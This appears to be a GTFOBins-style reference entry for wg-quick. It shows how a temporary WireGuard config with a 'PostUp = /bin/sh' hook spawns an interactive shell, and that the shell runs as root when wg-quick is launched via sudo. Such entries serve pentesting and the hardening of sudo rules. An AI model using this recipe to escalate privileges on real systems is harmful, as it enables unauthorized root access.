wg-quick

Shell

This executable can spawn an interactive system shell.
  1. CommentUse wg-quick down /path/to/temp-file.conf in order to be able to run the shell again.
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    cat >/path/to/temp-file.conf <<EOF
    [Interface]
    PostUp = /bin/sh
    EOF
    
    wg-quick up /path/to/temp-file.conf